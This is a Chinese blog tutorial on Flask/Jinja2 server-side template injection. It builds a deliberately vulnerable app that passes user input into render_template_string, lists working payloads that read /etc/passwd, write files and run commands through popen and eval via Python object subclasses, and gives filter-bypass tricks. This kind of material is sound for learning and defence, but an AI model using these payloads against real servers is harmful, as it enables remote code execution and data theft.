初步认识SSTI

SSTI,即服务端模板注入,起因是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,从而导致各种各样的问题。

首先,我们先写一个简单的flask(说起SSTI就想到flask框架),由于我用的是pycharm,所以可以直接创建项目。
app.py代码如下:

from flask import Flask#flask需要自己安装
from flask import render_template
from flask import request

app = Flask(__name__)


@app.route('/',methods=['GET','POST'])
def hello_world():
    return render_template("index.html", title='Home', user=request.args.get("key"))


if __name__ == '__main__':
    app.run()

并创建文件夹如下:
在这里插入图片描述
在templates中写入index.html文件如下:(templates文件夹为渲染文件所在位置)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>This is a test</title>
</head>
<body>
<h1>hello.{{ user }}</h1>
</body>
</html>

此时运行便可得到
在这里插入图片描述
打开127.0.0.1:5000,传入参数key={{2*3}}可以看到:
在这里插入图片描述
此时并没有执行,因为模板渲染已经不可控了。但是,当我们把app.py中

def hello_world():
    return render_template("index.html", title='Home', user=request.args.get("key"))

换成

def hello_world():
    code = request.args.get('id')
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(code)
    return render_template_string(template)

此时,问题就大了,因为它直接将变量的内容当作字符串进行输出,就会造成下面的结果:
在这里插入图片描述
可以看见,它直接将id算出来了。我们就可以进行模板注入。
这里我们需要知道python中一些特殊的类:

__class__#返回调用的参数类型。
__base__#返回基类
__mro__#允许我们在当前Python环境下追溯继承树
__subclasses__()#返回子类

在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法(object类是所有类的基类),比如最简单的payload"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('dir').read()就是利用object类的第134个子类(os._wrap_close类)并将其初始化,再利用全局变量来达到命令执行的目的。

"".__class__返回的是<class 'str'>
"".__class__.bases__返回的是(<class 'object'>,)
"".__class__.__bases__[0].__subclasses__返回的是所有类
"".__class__.__bases__[0].__subclasses__[133]返回的是<class 'os._wrap_close'>
__init__用来初始化类
__globals__是全局来查找所有的方法及变量及参数
__globals__['popen']来调用popen方法

下面是一些payload:
读/写文件:

[].__class__.bases__[0].__subclasses__()[40]('/etc/passwd').read()
''.__class__.bases__[0].__subclasses__()[40]('/var/www/html').write('test')

命令执行:

"".__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami').read()
"".__class__.bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()

还有一些绕过小技巧:

  1. 过滤了关键字,可以用拼接法,比如过滤了globals,则可以用'glo'+'bals'
  2. 过滤了中括号,可以用__getitem__,原来为:''.__class__.__mro__[2]可换成''.__class__.__mro__.getitem__(2)
  3. 过滤{{}},可用{%%}代替。

还有其他技巧和payload,可以看p牛的:https://p0sec.net/index.php/archives/120/

参考文章:
https://xz.aliyun.com/t/3679
https://www.cnblogs.com/hackxf/p/10480071.html

发布了37 篇原创文章 · 获赞 2 · 访问量 1411

猜你喜欢

转载自blog.csdn.net/weixin_44377940/article/details/105052251